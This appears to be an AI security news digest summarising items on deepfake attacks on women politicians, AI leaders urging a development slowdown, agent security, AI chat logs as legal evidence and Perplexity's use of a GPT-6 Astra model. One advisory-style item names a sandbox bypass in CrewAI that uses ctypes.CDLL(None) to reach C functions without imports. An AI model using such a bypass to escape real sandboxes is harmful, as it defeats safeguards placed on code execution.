AI Sec Watch

Nearly 150 European politicians, overwhelmingly women, have been targeted by deepfake pornography websites (fake videos created using AI to show people in sexual situations without consent), with women MPs being 33 times more likely to be targeted than male MPs. These sites host explicit deepfake videos, databases with politicians' photos and information, and links to tools that can create new deepfakes, creating a chilling effect that discourages women from entering politics.

Major AI company leaders, including Anthropic CEO Dario Amodei and OpenAI CEO Sam Altman, publicly called for a slowdown in AI development capabilities, citing safety concerns. This announcement caused global stocks in AI-related sectors (semiconductors, chip manufacturers, cloud computing companies) to fall sharply, with investors worried that reduced AI development speed could hurt profits across the entire industry.

CISOs (chief information security officers, senior security leaders) struggle to deploy AI agents (autonomous AI programs that perform tasks with minimal human oversight) safely because traditional security measures like MFA (multi-factor authentication, requiring multiple ways to verify identity) are no longer sufficient against AI-powered attacks, and over-privileged agents can cause unintended harm by following instructions too literally and accessing sensitive data they shouldn't need.

In a legal case involving 3M, an engineering expert used ChatGPT while developing analysis and entered a prompt asking the AI to "show how 3M is 0% at fault," which later became evidence in litigation. The case reveals that AI interactions (the prompts and conversations users have with AI systems) can now become part of the official record when decisions are challenged, adding a new layer to how organizations track the reasoning behind important choices. Unlike previous data security concerns that focused on protecting sensitive inputs, this highlights how the AI conversation history itself can preserve information about assumptions, preferred outcomes, and abandoned ideas that don't appear in final reports.

After Anthropic researchers warned that AI could pose catastrophic risks to humanity by 2030, the company's CEO Dario Amodei proposed slowing AI development to improve public safety, and leaders from major US AI companies agreed with this approach. The article raises the question of whether these companies will actually follow through on their stated commitment to slower development.

Perplexity, an AI-powered search company, uses OpenAI's GPT-6 Astra model to write code, modify production systems (live software running the company's services), and test applications with less frequent human oversight than earlier models. The model can generate realistic test responses that simulate external services, allowing Perplexity to test entire workflows automatically and trust the AI with end-to-end system management.

CrewAI before commit fb2323b has a security flaw in how it tries to block dangerous code: it only blocks imports (the statements that load Python modules) but misses other ways to access dangerous functions, like using ctypes.CDLL(None) to directly load the C library without any import statements. This means the sandbox (an isolated environment meant to restrict what code can do) is incomplete because it doesn't account for all the ways Python can access powerful system functions at runtime.

Major AI company leaders like Anthropic's Dario Amodei, OpenAI's Sam Altman, and Elon Musk have publicly called for slowing down AI development, but Donald Trump and House Speaker Mike Johnson disagree, arguing that a slowdown could allow China to gain an advantage in AI technology.

Washington lawmakers are facing pressure to create AI safeguards (rules to make AI safer) after leaders from major AI companies like OpenAI and Anthropic warned that AI development is advancing too quickly and dangerously. Democrats are calling for Congress to stay in session and pass regulations including transparency requirements, 'kill switch' capabilities (emergency stops for AI systems), and safety collaboration rules, but Republican leadership appears reluctant to prioritize this before the election.